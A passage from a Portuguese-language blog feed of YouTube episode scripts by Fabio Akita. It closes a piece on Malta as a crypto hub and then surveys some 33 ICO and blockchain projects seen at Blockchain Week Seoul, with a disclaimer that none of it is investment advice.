<p>Isso dito, para empresas já estabelecidas como a Binance, faz muito sentido abrir em Malta, porque estar num país regulado dá mais estabilidade, sem o medo que a qualquer hora uma ordem arbitrária pode fechar seu negócio. Como eu disse antes, investidores não gostam de mercados instáveis. Só isso já seria motivo suficiente, mas além disso eu assumo que existam vantagens e incentivos fiscais também. Não tem nada de mágico em Malta, é uma questão de gestão de risco. Ficar em países não regulamentados como Brasil é muito pior, mesmo se aqui fosse mais &ldquo;barato&rdquo;. Sem uma regulamentação liberal, nada aqui vai melhorar.</p>
<p>Pra complementar, é sabido que tanto Malta como o Chipre são dois lugares onde quem quer lavar dinheiro vai porque os governos são bastante, vamos dizer, “flexíveis”. Inclusive isso os coloca em posição meio instável com a União Européia. Digamos que ficar mostrando muito como o CZ da Binance virou brodão do Joseph Muscat, trocando elogios via Twitter, jantando juntos, não exatamente passa uma imagem de governo neutro e responsável.
Malta não está fazendo tudo isso porque eles são visionários ou algo assim. Sendo cínico, é claro que é uma questão de oportunidade política e de mercado. Malta tem uma longa história de controvérsias. Neste momento paira uma aura de conspiração no ar por causa do assassinato da jornalista anti-corrupção Caruana Galizia.</p>
<p>No geral, a conferência realmente colocou junto num mesmo lugar gente que claramente tem muito dinheiro e gente que claramente quer ganhar muito dinheiro. Você sente mais que estão construindo uma Las Vegas do que Silicon Valley, definitivamente.</p>
<p>Pessoas como eu estão fora desse universo por isso foi interessante ver o contraste. A Ilha de Malta parece ser mesmo um excelente lugar pra passar suas férias. Eu realmente não senti vontade nenhuma de um dia morar por lá. Mas, se eu estivesse nesse universo de pessoas que descrevi, consigo entender claramente porque eu gostaria de estar lá. Pra nossa realidade, vamos deixar Malta no radar pra ver como ela influencia ou não o resto da União Européia.</p>
<p>E por hoje é só, o que acharam desse vídeo? Deixem seus comentários abaixo. Se gostaram mandem um joinha, assinem o canal e cliquem no sininho pra serem notificados do próximo vídeo sobre São Francisco. A gente se vê, até mais!</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>leis-e-regulacao</category><category>akitando</category></item><item><title>[Akitando] #6 - 33 exemplos de projetos de ICOs e blockchains</title><link>https://akitaonrails.github.io/2018/08/30/akitando-6-33-exemplos-de-projetos-de-icos-e-blockchains/</link><guid isPermaLink="true">https://akitaonrails.github.io/2018/08/30/akitando-6-33-exemplos-de-projetos-de-icos-e-blockchains/</guid><pubDate>Thu, 30 Aug 2018 17:00:00 -0300</pubDate><description>&lt;p&gt;Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal &lt;a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener"&gt;Akitando&lt;/a&gt;. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.&lt;/p&gt;
&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/22Erda9z5F4"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h3&gt;Descrição no YouTube&lt;span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;FINALMENTE! Este é o último episódio da série Blockchain Week Seoul. Este episódio está BEM mais longo que o normal, mas não se preocupem, é só porque eu queria fechar o assunto o quanto antes. Eu selecionei e menciono nada menos do que 33 projetos neste vídeo, por isso ficou tão longo.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Disclaimer: esta série de posts são transcripts diretos dos scripts usados em cada video do canal <a href="https://www.youtube.com/channel/UCib793mnUOhWymCh2VJKplQ"target="_blank" rel="noopener">Akitando</a>. O texto tem erros de português mas é porque estou apenas publicando exatamente como foi usado pra gravar o video, perdoem os errinhos.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/22Erda9z5F4"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h3>Descrição no YouTube<span class="hx:absolute hx:-mt-20" id="descrição-no-youtube"></span>
    <a href="#descri%c3%a7%c3%a3o-no-youtube" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>FINALMENTE! Este é o último episódio da série Blockchain Week Seoul. Este episódio está BEM mais longo que o normal, mas não se preocupem, é só porque eu queria fechar o assunto o quanto antes. Eu selecionei e menciono nada menos do que 33 projetos neste vídeo, por isso ficou tão longo.</p>
<p>Para facilitar eu dividi este episódio em 7 grandes grupos que você pode pular de acordo com as seguintes marcações:</p>
<ol>
<li>Novas Tecnologias de Blockchains (1:49)</li>
<li>Exchanges e Investimentos (6:33)</li>
<li>Pagamentos (11:42)</li>
<li>Cartório e Auditoria (15:16)</li>
<li>Inteligência (17:12)</li>
<li>Games (20:58)</li>
<li>Outros (25:29)</li>
</ol>
<p>O objetivo desta série foi mostrar quão maior é o mundo, quão diverso é o mercado de criptomoedas, blockchains e ICOs e quais são as possibilidades sendo perseguidas hoje para inspirá-los. O mesmo mercado na América do Sul é extremamente atrasado, por isso quis mostrar um pouco mais do futuro que já está em construção.</p>
<p>Se você se interessou por algum dos projetos de ICO e blockchain que mencionei no vídeo, vá direto ao site deles. Os projetos estão listados abaixo em ordem alfabética.</p>
<ul>
<li>BitHero (<a href="http://bithero.io/"target="_blank" rel="noopener">http://bithero.io/</a>)</li>
<li>CertiK (<a href="https://certik.org/"target="_blank" rel="noopener">https://certik.org/</a>)</li>
<li>ChainKey (<a href="https://chainkey.io/"target="_blank" rel="noopener">https://chainkey.io/</a>)</li>
<li>ChiliZ (<a href="https://www.chiliz.com/"target="_blank" rel="noopener">https://www.chiliz.com/</a>)</li>
<li>COTI (<a href="https://coti.io/"target="_blank" rel="noopener">https://coti.io/</a>)</li>
<li>CRED (<a href="https://www.libracredit.io/"target="_blank" rel="noopener">https://www.libracredit.io/</a>)</li>
<li>Dex.top (<a href="https://dex.top/"target="_blank" rel="noopener">https://dex.top/</a>)</li>
<li>DX.exchange (<a href="https://dx.exchange/"target="_blank" rel="noopener">https://dx.exchange/</a>)</li>
<li>Electrify.asia (<a href="https://electrify.asia/#home"target="_blank" rel="noopener">https://electrify.asia/#home</a>)</li>
<li>EMX (<a href="https://www.emx.com/en/"target="_blank" rel="noopener">https://www.emx.com/en/</a>)</li>
<li>Evident Proof (<a href="https://ept.gi/"target="_blank" rel="noopener">https://ept.gi/</a>)</li>
<li>Fleta (<a href="http://fleta.io/"target="_blank" rel="noopener">http://fleta.io/</a>)</li>
<li>FuzeX (<a href="https://fuzex.co/"target="_blank" rel="noopener">https://fuzex.co/</a>)</li>
<li>Game X Coin (<a href="https://www.gamexcoin.io/"target="_blank" rel="noopener">https://www.gamexcoin.io/</a>)</li>
<li>GCOX (<a href="https://gcox.com/"target="_blank" rel="noopener">https://gcox.com/</a>)</li>
<li>Gifto (<a href="https://gifto.io/"target="_blank" rel="noopener">https://gifto.io/</a>)</li>
<li>HintChain (<a href="http://hintchain.io/"target="_blank" rel="noopener">http://hintchain.io/</a>)</li>
<li>Hycon (<a href="https://hycon.io/"target="_blank" rel="noopener">https://hycon.io/</a>)</li>
<li>Lucidity (<a href="https://lucidity.tech/"target="_blank" rel="noopener">https://lucidity.tech/</a>)</li>
<li>MagnaChain (<a href="https://magnachain.co/"target="_blank" rel="noopener">https://magnachain.co/</a>)</li>
<li>Mfun (<a href="https://mfun.io/"target="_blank" rel="noopener">https://mfun.io/</a>)</li>
<li>MobileChain (<a href="https://www.mobilechain.network/"target="_blank" rel="noopener">https://www.mobilechain.network/</a>)</li>
<li>Nexty (<a href="https://nexty.io/"target="_blank" rel="noopener">https://nexty.io/</a>)</li>
<li>Orion Vault (<a href="https://orionvault.com/"target="_blank" rel="noopener">https://orionvault.com/</a>)</li>
<li>PATH (<a href="https://path.network/"target="_blank" rel="noopener">https://path.network/</a>)</li>
<li>PayProtocol (<a href="https://payprotocol.io"target="_blank" rel="noopener">https://payprotocol.io</a>)</li>
<li>Pinmo (<a href="https://www.pinmo.io/"target="_blank" rel="noopener">https://www.pinmo.io/</a>)</li>
<li>Platin (<a href="https://platin.io/"target="_blank" rel="noopener">https://platin.io/</a>)</li>
<li>Rebirth Coin (<a href="http://wrecoin.org/"target="_blank" rel="noopener">http://wrecoin.org/</a>)</li>
<li>SGame Pro (<a href="https://sgamepro.io/"target="_blank" rel="noopener">https://sgamepro.io/</a>)</li>
<li>T.OS (<a href="https://www.tosblock.com/"target="_blank" rel="noopener">https://www.tosblock.com/</a>)</li>
<li>Tokedo (<a href="https://tokedo.io/"target="_blank" rel="noopener">https://tokedo.io/</a>)</li>
<li>Tottle (<a href="https://www.totle.com/"target="_blank" rel="noopener">https://www.totle.com/</a>)</li>
<li>WePower (<a href="https://wepower.network/#"target="_blank" rel="noopener">https://wepower.network/#</a>)</li>
</ul>
<p>E não deixe de visitar minha corretora:</p>
<ul>
<li>OmniTrade (<a href="https://omnitrade.io"target="_blank" rel="noopener">https://omnitrade.io</a>)</li>
</ul>
<h2>Script<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita!</p>
<p>HOJE é um dia especial! Depois de 5 episódios sobre a Coréia do Sul, vamos FINALMENTE, chegar ao final dessa jornada com um pequeno tour sobre ICOs.</p>
<p>Se você ainda não assistiu os episódios anteriores, pause este vídeo e faça isso agora pelo link acima, vamos lá, eu espero.
&hellip;</p>
<p>(abertura)</p>
<p>Ótimo, já viram? Assinem o canal para não perder mais. HOJE vamos explorar rapidamente as diversas startups e ICOs que eu vi durante os eventos que participei. Não todos, mas MUITOS!</p>
<p>Como DISCLAIMER: nada do que eu disser aqui constitui recomendação a favor ou contra. Qualquer opinião é  pessoal e produzida com intenção de encaixar na narrativa deste episódio. Se você ficar interessado em qualquer uma delas, veja os links na descrição do vídeo abaixo e estude por conta própria em detalhes e com muito cuidado!</p>
<p>Além disso estou me restringindo somente ao que estava exposto nos eventos, o mundo de ICOs é infinitamente maior do que isso. Muitos não eram da Coréia propriamente dito, mas de outros países da Ásia como Cingapura ou Indonésia e outros eram da Europa e até mesmo Estados Unidos. Neste video você certamente terá exemplos de ICOs que claramente são muito ruins e outros que podem ser os próximos candidatos a unicórnios, quem sabe? Mesmo assim os exemplos aqui não são representativos do mundo como um todo. Mas, se você nunca tinha parado para pensar nas possibilidades, talvez este vídeo ajude a aumentar seus horizontes.</p>
<p>Vou separar o vídeo em SETE grandes grupos para facilitar um pouco. Vamos começar!</p>
<p>(&hellip; 1 - novas técnicas de blockchains)</p>
<p>No primeiro grupo temos projetos que se colocam para &ldquo;resolver&rdquo; os problemas das primeiras gerações de blockchains. Para quem não sabe, alguns categorizam as criptomoedas em gerações. Bitcoin, obviamente é da primeira geração, o blockchain canônico. Ethereum meio que iniciou a segunda geração com smart contracts. E assim por diante.</p>
<p>Existem várias formas alternativas de implementar blockchains com consenso distribuído. Muitos derivam o código de criptomoedas existentes e fazem um tuning ou fazem uma do zero mesmo.</p>
<p>A Fleta diz ter uma arquitetura diferente, permitindo shards do blockchain, múltiplos chains e também distributed apps ou o DAPPS. Dapps podem ser usados para gerar tokens e no caso da Fleta eles podem ficar em sub-chains e inclusive podem escolher o método de mineração, como Proof of Work (PoW) ou Proof of Stake (PoS). Mas a chain principal pode ter blocos minerados via um método proprietário deles chamado Proof of Formulation baseado em uma &ldquo;formulação&rdquo; de ordem de recompensa. Com o suporte a shards e limitação na propagação dos blocos eles dizem conseguir atingir 10 milhões de TPS ou transações por segundo (o bitcoin por exemplo não consegue mais do que 7 blocos por segundo, ethereum é só uma ordem de grandeza mais rápido). Cada shard diz conseguir 20 mil TPS. Além de terem a capacidade de confirmação em quase tempo real via nós de observadores.</p>
<p>Exemplo semelhante é a MagnaChain, mais um blockchain que dizem ser escrito em C++ e implementa a virtual machine Lua para executar smart contracts em vez do Solidity usado no Ethereum. Novamente, eles também tentam melhorar o consenso usando um híbrido entre PoW e PoS que eles chamam de VirtualHash-PoS. Além disso também vai pelo caminho de side chains e tem como primeiro use case a indústria de games, para isso estão preparando SDKs para games mobile e outras ferramentas. A idéia, claro, é poder ter tokens In-app que podem ser usados fora do game em exchanges ou marketplaces. Diferente do Fleta os números que eles clamam são um pouco mais realistas, na casa das 100 mil TPS. Na testnet deles dizem ter chegado a 13 mil TPS.</p>
<p>Outra alternativa é a HYCON ou hyper connected coin. Seu genesis block foi publicado já no GitHub em janeiro desse ano. Ele tenta também mexer no sistema de consenso e embora tenham começado com o blake 2b, eles abandonaram para usar cryptonight, o mesmo do Monero. A vantagem é tornar a vida de fabricantes de ASIC como a Bitmain mais difícil porque ele faz leituras/escritas pseudo aleatórios em memória e corta a diferença de processamento também entre CPU e GPU, na prática impede mineradores de usarem ASICs potentes, tornando o sistema mais decentralizado em máquinas mais lentas. O protocolo de consenso usa o SPECTRE que generaliza o blockchain um direct acyclic graph ou DAG, como um IOTA onde você tem um algoritmo de voto entre pares de blocos. Por conta da estrutura de DAG múltiplos blocos podem ser adicionados simultaneamente o que aumenta a velocidade da mineração mesmo sendo PoW. Dizem que conseguem confirmar um bloco a cada 1 segundo. Um dos diferenciais é que eles tem do seu lado um grande evangelizador de criptomoedas da Coréia, o Taewon Kin, da Glofer.</p>
<p>Mas, falando em celebridades, a Platin também tem um do seu lado, como advisor eles conseguiram chamar o controverso Robert Scoble, que parece que já foi mais famoso alguns anos atrás. Essas celebridades na prática não influenciam o desenvolvimento técnico, mas muitos procuram figuras reconhecidas para ficar mais fácil se destacarem. Mas a Platin tem um conceito um tanto ousado, eles implementaram um PoL ou Proof of Location. A idéia é fazer um Pokemon Go de tokens, para lojas fazerem airdrop de tokens e você ter que ir até a loja para coletar os tokens. É a mesma idéia dos pokemons, mas daí você “minera” tokens baseado na localização. Então é um blockchain pensado para ser mobile-first, porque precisa do GPS. Por baixo ele vai trazer o PTN token e vai poder customizar a moeda para estabelecimentos comerciais. Não tenho idéia se faz sentido ou se vai funcionar, mas achei inteligente um Pokemon Go que te dá alguma coisa em troca por ficar tendo que andar tanto para achar os bichos. No Pokemon Go você sequer pode treidar os pokemons que consegue, o que eu sempre achei uma limitação bem ruim.</p>
<p>(.. 2 Exchanges and Investments)</p>
<p>Todo mundo deve achar que o mundo já tem corretoras demais, mas não se desesperem ainda. Tem muitas mais chegando! Mas certamente uma categoria que tem ganhado cada vez mais espaço são as exchanges decentralizadas. A idéia é tentar ser o mais peer to peer possível. Infelizmente as blockchains desta geração ainda não tem velocidade suficiente para manter order books com trades ultra rápidos on-chain. Seria extremamente lento tentar implementar um order book dentro de um smart contract, como fazemos com tokens. Mas existem implementações tentando coisas como usar side-chains, mantendo os books off-chain e de tempos em tempos colocar as trades on-chain.</p>
<p>É o que fazem projetos como a Dex.top, - entenderam? Desk-top dex top? um dos nomes mais interessantes. Ele é construído obviamente em cima do ethereum, eles tem uma app de wallet chamada TrustWallet para iniciar os trades. Já aparecem até no famoso site coinmarketcap com pelo menos 30 pares de tokens. Mais do que isso, eles são incubados por ninguém menos que a famosa Bitmain - lembram, dos hardware ASIC para mineração? E eles fazem o que expliquei: um sistema que chamam de RoC ou Replayed On Chain. Tecnicamente eles dizem não ter funções de custódia, mas não são 100% decentralizados também. Um dos diferenciais é que dizem ter sido auditados pela Bug Bounty, HackerOne, ChainSecurity e Sentinel Protocol.</p>
<p>Outro exemplo parecido é a DX.exchange, onde uma das propostas é em vez de cobrar taxas por transação, eles cobram uma mensalidade fixa. Então é “marketamente” zero fees. Outro diferencial é que dizem serem regulados pela Unidade de Inteligência Financeira da Estônia, obviamente eles ficam na Estônia.</p>
<p>Um pouquinho diferente parece a proposta da Tottle DEX que está em beta agora. A idéia deles é ser um agregador de exchanges descentralizadas como as que mencionei acima. Unificar os order books de todo mundo em um só. De similar novamente é ser implementado em cima do ethereum, então obviamente o target são tokens ERC20. Fico em dúvida se fazendo isso eles conseguiram implementar um protocolo rápido para liquidar as ordens. Tecnicamente eles precisam manter contas abertas em todas as que integram e ter reservas de criptos em todas elas para conseguir fazer as trades serem liquidadas o mais rápido possível. Não sei se foi assim que implementaram mas é a única solução que me vem à cabeça. Se depender de transferência on-chain, seria absurdamento lento.</p>
<p>Antigamente havia um app chamado TradeHero que é uma exchange simulada com moeda realmente “virtual” para você aprender a tradar sem risco. Uma excelente ferramenta para quem quer aprender o mundo de trading. Daí eles criam um novo app o BitHero que começa como um simulador mas daí você pode trocar para tradar criptos de verdade. Como plataforma educacional achei uma excelente idéia e a idéia é aprendizado baseado em gamificação e interação social com seus amigos. Eles tem um token próprio, claro, o BTH e um dos investidores é ninguém menos que a Samsung.</p>
<p>Até agora, apesar de se chamarem “decentralizadas” parece como qualquer outra corretora moderna. Mas aí temos projetos como a EMX, que diz conseguir possibilitar o trading de futuros com cripto, coisa que nenhuma corretora tradicional consegue fazer. Normalmente você é obrigado a ter conta em múltiplas corretoras, vender suas criptos por moeda fiduciária, transferir pra outra corretora e aí comprar futuros ou outros derivativos e commodities. Isso é extremamente ruim e lento, mas na EMX ele diz facilitar isso dentro de uma mesma corretora. Obviamente ele tem seu próprio token para negociar internamente, o EMX Token. Além disso você pode pegar emprestado de um margin syndicate ou emprestar a eles para não precisar movimentar suas criptos e ganhar taxas por isso além de manter os assets dos traders que pegaram emprestado com você, como colateral. Me chamou a atenção ter como advisor o Simon Kim, lembram, CEO da Hashed.</p>
<p>E nessa linha ainda temos a CRED, que eu conheci no evento Blockchain Partners como Libra Credit, mas mudaram de nome. Eles dizem ser uma plataforma descentralizada de emprestimo. A idéia é trazer mais acesso a crédito. Você precisa de moeda fiduciária, tem cripto, mas não quer ter que vender suas posições em cripto. Então você pode deixar suas cripto como colateral em empréstimo. Ou, se simplesmente quer fazer hedge, se proteger da volatilidade, pode transformar suas criptos numa stablecoin deles. Falta no mundo de exchanges de cripto mais opções de produtos financeiros como os oferecidos pela EMX e pela CRED. Outro detalhe que me chamou a atenção é eles serem incubados na Binance Labs. A Binance também está continuamente pesquisando diferentes produtos para aumentar seu portfolio.</p>
<p>(&hellip; 3 Pagamentos)</p>
<p>Na sequência, o que todo mundo reclama é que criptos tem sido usados somente como armazenamento de valor e papel especulativo. O real uso seria quebrar a barreira do comércio de verdade e ser usado em pagamentos no mundo real. Eu vi várias propostas como a PumaPay que já tinha mencionado nos outros vídeos ou esta Pay Protocol, que é de ninguém menos que a Danal que já tem um negócio em meios de pagamento e POS para lojas. Eles também implementaram SDK para aplicações mobile, querem suportar múltiplas criptomoedas e ser o mais amigável possível para o comércio. Na prática o POS poderia escanear um código de barras direto do app do seu celular para efetuar o pagamento ou se for e-commerce um app equivalente Amazon ou MercadoLivre teria no checkout a opção de pagar com meios normais como cartão de crédito ou Pay Protocol. Provavelmente ele deve oferecer uma wallet ou se integrar a existentes.</p>
<p>Outra que tenta criar a ponte com o mundo real é a FuseX que está fabricando cartões de plástico como os de crédito ou débito que usamos. Eles já fabricaram pelo menos 30 mil unidades. Tem um micro processador, uma tela tipo e-paper, bateria recarregável que dura de 45 a 60 dias e 3 botões dentro do espaço que ocupa um cartão de crédito tradicional. Novamente ele quer suportar múltiplas criptomoedas e ele tem um módulo backend que provavelmente se integra com adquirentes. Não ficou muito claro mas é uma solução que depende de parcerias no mundo tradicional, e com empresas como VISA não tendo sido muito amigável com cripto ultimamente, não sei ainda até onde isso vai.</p>
<p>A Nexty é uma que olhando o site, eu imaginaria não ser muito real, mas parece que tem mesmo um sistema funcionando hoje, talvez. Na prática me pareceu outro fork de ethereum um pouco customizado, onde eles inventaram um modelo de confirmação usando dois tokens ERC20, que eles chamam de NTY e NTF. Nesse sistema quem quiser participar da mineração precisa de tokens NTF e os fees vão baixando até zero conforme o uso, um tipo de smart staking. No fim o usuário dessas tokens baixa um wallet proprietário deles que, segundo reviews na página do Google App Store não tem tido boas notas não ….</p>
<p>Na mesma linha temos o COTI ou Currency Of The Internet. Eles tem um blockchain próprio implementado na estrutura de um DAG também (de novo, como a HYCON), eles chamam de TrustChain. A idéia deles é um sistema de scores para promover bom comportamento e penalizar mal comportamento na rede. O objetivo também é chegar em fees muito baixo ou zero. No fundo ele é para ser um blockchain mais genérico mas a primeira aplicação que eles querem é um meio de pagamento, o COTI PAY. Não fiquei muito convencido vendo a página deles, mas vejam vocês mesmos.</p>
<p>Como a COTI a T.OS é outra moeda para pagamentos, também tem uma wallet e dizem eles ter uma solução pelo menos 10x mais rápida que o Bitcoin (que apesar de ser o mais difundido é de fato o mais lento de todos), 3x mais rápido que ethereum, e até 14x mais rápido que isso se usar o modo de pagamento deles (provavelmente alguma side-chain também). Ser 10 ou 100x mais rápido que Bitcoin não é exatamente rápido o suficiente na minha opinião, mas enfim, é mais uma alternativa.</p>
<p>E … eu disse que este seria o último episódio mas pra variar acabei escrevendo muito! Então, vamos fazer o esquema Harry Potter and the Deathly Hallows e dividir o final em parte 1 e parte 2! Das SETE grandes categorias cobrimos hoje novas técnicas de blockchains, exchanges descentralizadas e pagamentos com cripto. No próximo episódio vamos finalizar as 4 últimas categorias e concluir a série!</p>
<p>Não deixem de comentar abaixo, dêem um joinha se gostaram, assinem o canal e cliquem no sininho para ser notificado nos próximos episódios! Até mais!</p>
<p>E aí pessoal, Fabio Akita</p>
<p>Agora sim! Eu juro! É o última parte do último episódio da série sobre a Coréia do Sul. Na parte 1 passamos por vários projetos de criptos em 3 grandes categorias de 7. Hoje vamos cobrir as últimas 4.</p>
<p>Se não assistiram o episódio anterior, clique no link do topo do vídeo para assistir! Eu espero …</p>
<p>(&hellip; abertura)</p>
<p>Pronto! Vamos continuar a parte 2 do último episódio.</p>
<p>( … 4. Cartório e Auditoria)</p>
<p>Além de trading e pagamentos, outro grande caso de uso que ouvimos muito falar é a eliminação de cartórios. Cartórios existem como um terceiro que valida um documento entre duas pontas. Mas se usarmos blockchains para isso poderíamos tecnicamente eliminar esse intermediário burocrático.</p>
<p>Exemplo disso é a ChainKey que diz ser uma platforma que se conecta com a mainnet da ethereum, ou você pode usar uma rede privada como hyperledger ou grandeo. Usa tokens ERC20 CKEY ou GDO como crédito e permite armazenar qualquer arquivo de forma pública ou privada (tipo um dropbox ou google drive) mas com identidade do arquivo certificado no blockchain.</p>
<p>A Orion Vault é uma opção mais especializada que quer ser uma mistura de IMDB de peças de arte fina junto com um marketplace, cortando os intermediários e levando o artista mais próximo do comprador. O comprador ganha um certificado digital da peça que comprou, que identifica unicamente aquela peça. Na prática é adicionar um identificador único a uma peça no mundo real que é outra tendência que muitos já vinham discutindo.</p>
<p>E temos também a Evident Proof que provê serviços de verificação de dados e prova. Ele tem tokens próprios os EPT, porque, porque não? Eles dizem prover provas imutáveis que mantém encriptado no blockchain (espero que eu não tenha entendido errado quando li, mas do jeito que falaram parecia que querem guardar o arquivo dentro do blockchain. Apesar de possível, não é pra isso que serve o blockchain. Mas eles também suportam blockchains públicas e privadas como a ChainKey e tem como alvo mercados que levam privacidade e veracidade dos dados a sério, quando precisam de coisas como HIPAA no mercado hospitalar ou SOX (Sarbanes Oxley) em auditoria financeira.</p>
<p>(&hellip; 5 Inteligência)</p>
<p>Outro uso que sempre falam de blockchains é otimizar a cadeia de suprimentos, ou supply chain. Toda cadeia de produção tem muitos intermediários no meio do caminho e no fim o produtor tem muito pouca informação do consumidor final. Fora coordenação dos diversos fornecedores numa cadeia de produção de um produto. Tudo isso poderia ser otimizado mesmo com blockchains privados, mas tem mais valor ainda se as soluções conseguem se manter públicas sem sacrificar a privacidade dos consumidores.</p>
<p>A Hint Chain tem como alvo uma vertical muito específica, no caso a cadeia de suprimentos de comida. Onde eles querem criar perfis de comida, algo mais na linha de data mining. A idéia é catalogar uma estrutura padrão para esse perfil para delinear o que cada consumidor prefere em cada situação para comer, seus hábitos alimentares, premiar a participação com tokens, claro, e levar esses dados aos produtores no começo da cadeia que, hoje, normalmente tem pouco contato e conhecimento do consumidor final, e no futuro adicionar até inteligência artificial para melhorar o lado da produção de comida baseado nesses dados. De fato eu sei que existe um mercado para esse tipo de dados, vamos ver se eles conseguem entregar o que prometem.</p>
<p>Um pouco diferente é a PATH que pelo menos à primeira vista parece nada mais do que um sistema de monitoramento de servidores como centenas que já existem no mercado. Checar uptime de servidores, monitoramento de performance, monitoramento de ataques de distributed denial of service ou DDOS, testes de interação, etc. Mas em vez de um sistema centralizado eles querem distribuir os agentes de monitoramento em forma de apps ou plugins de browser que usuários normais podem instalar e serem recompensados com tokens por prover os dados de monitoramento. Eu achei a idéia até inteligente porque eles conseguiriam muitos mais pontos de dados de usuários em cenários reais de rede e computador e fornecer dados mais interessantes - se eles conseguirem adoção.</p>
<p>Mais um que quer otimizar a cadeia é a Lucidity, no caso no mundo de advertising. Um dos problemas que os anunciantes enfrentam é não saber qual o real resultado de seus investimentos em campanhas digitais de marketing. Eles são obrigados a acreditar em qualquer relatório que as agência constróem. O que a Lucidity quer é assinar blocos de dados de analytics, que eles vão manter armazenados em seus sistemas, mas cuja assinatura de verificação estará disponível no blockchain do ethereum. Os participantes na validação desses analytics são usuários também, que receberão tokens pela participação. Dessa forma eles estão distribuindo o trabalho de auditoria e mantendo dados verificados que depois podem ser usados para gerar relatórios que podem ser rechecados para autenticidade, melhorando a credibilidade do mercado de advertising e garantindo resultados mais reais aos anunciantes. Para ter a performance necessária eles também tem uma segunda camada off-chain, como a Orbs que falei em outro vídeo, usando a solução chamada Plasma - recomendo pesquisar sobre isso e sobre a arquitetura de side-chains / off-chain em geral.</p>
<p>A Pinmo tem uma proposta para um mercado similar, mas no caso a intenção é trazer os anunciantes mais próximos dos influenciadores em redes sociais, novamente a intenção é cortar os intermediários como as agências. Novamente também tem seus próprios tokens. Novamente implementado sobre ethereum como uma dapp para prover soluções cross-chain. Achei um pouco superficial ainda, pelo menos vendo pelo site.</p>
<p>(&hellip; 6 Games)</p>
<p>Já mencionei rapidamente em alguns vídeos, mas games é um target meio óbvio hoje em dia. Especialmente pelo enorme mercado de loot crates, e in-app purchases que basicamente todo game online tem hoje em dia. Os gamers já estão acostumados a comprar todo tipo de digital assets usando moedas virtuais que eles compram com cartão de crédito e depois usam em marketplaces virtuais fechados dentro do próprio jogo.</p>
<p>A Game X Coin quer ser uma moeda universal para games. Eles tem seu próprio blockchain construído como uma versão customizada do EOS, estão criando SDKs para integrar nos games, tem um gerador de tokens para cada game, wallet e uma exchange descentralizada onde os jogadores podem tradar os tokens de um game por outro. Ainda é bem no começo e tem só um pequeno game de demo que vocês podem baixar no site deles.</p>
<p>Muito parecido seria a MobileChain que tenta ser uma solução um pouco mais genérica do que só games, eles também vão oferecer SDKs para in-app wallet deles. Permitir os publicadores de apps recompensar diretamente os usuários com tokens. É a solução padrão; em cima de ethereum, smart contracts, tokens ERC20 e opções para permitir coisas como recompensa de tokens baseado em localização para lojas físicas, meio como a Platin.</p>
<p>E também um pouco parecido é Mfun, mas diferente porque vem da Indonésia, um mercado que parece que cresce rápido no mundo de games na Ásia. Um mercado de 50 milhões de jogadores e o 3o maior da Ásia. A solução é parecida, tokens in-game, cortar intermediários, dar recompensa ao jogador quanto mais ele joga. Em vez do publicador gastar caro com ads, ele pode pagar direto ao usuário e evitar spam de ads em todo lugar, dando ads mais direcionados. Diferencial é ter a marca da Agate que já fez mais de 250 mobile games, e outros parceiros como a Duniaku e Yogrt.</p>
<p>Um pouco mais evoluído seria a Chilliz, mais voltado para os fãs de e-sports. No caso a idéia é você ser um investidor do seu time de e-sports, comprar tokens que dá direito a ter “voz” e participar de pesquisas para ajudar a decidir a direção do seu time preferido. Eles estão monetizando a “voz”, a participação do fã nas escolhas do time. É um sistema parecido com de sócio de clubes. Uma mistura de crowdfunding com cripto. Eles já levantaram USD 27 milhões na primeira rodada e estão juntando forças com a Binance numa joint venture estabelecida … na Ilha de Malta.</p>
<p>Agora, temos a SGame Pro. Proposta? Mesma coisa: in-game tokens cuja “mineração” é jogar. Seria PoP ou Proof of Play como “algoritmo” de consenso. Novamente tokens ERC20, wallet, etc. O diferencial deles foi ter recrutado ninguém menos que o mais famoso gamer da atualidade o Pewdiepie como garoto propaganda do ICO deles.</p>
<p>Na mesma categoria ainda temos um mais evoluído, a Gifto cujo propósito é vender presentes virtuais. Sim! Chegamos à era onde você presenteia amigos com digital assets. Parece bem idiota mas em 2017 eles já faturaram USD 150 milhões e eles vendem 25 milhões de presentes virtuais por mês. Integram com apps como Uplive que é tipo o Periscope da Ásia para streaming, tem opções de doar pra caridade, opções para criadores de presentes virtuais e já tem mais de um milhão de usuários da wallet deles. No caso acho que seria um reverse ICO porque parece que querem adicionar integração com ethereum como forma de pagar os criadores de presentes, ou algo assim.</p>
<p>E você nota que muitas dessas ICOs trazem alguma celebridade pra tentar dar alguma notoriedade aos projetos, como o PewDiePie que acabamos de falar, ou o Taewon na HYCON ou o Robert Scoble na Platin, mas que tal a GCOX ou Global Crypto Offering Exchange, como o nome diz uma exchange mas cujo propósito é gerar um ecossistema para gerenciar tokens de celebridades, novamente a idéia dos fã clubes como a Chilliz mas em vez de ser só pra e-sports é para celebridades em geral, ou Celebrity Token que pode ser usado para comprar merchandise da sua celebridade favorita, entrar em contato com essa celebridade ou doar para a caridade que eles apoiam e coisas desse tipo. No time de fundadores eles tem celebridades, duh, como o boxeador superstar e senador das Filipinas Manny Pacquiao e o ex-jogador de futebol da Inglaterra, Michael Owen.</p>
<p>( … 7 Outros)</p>
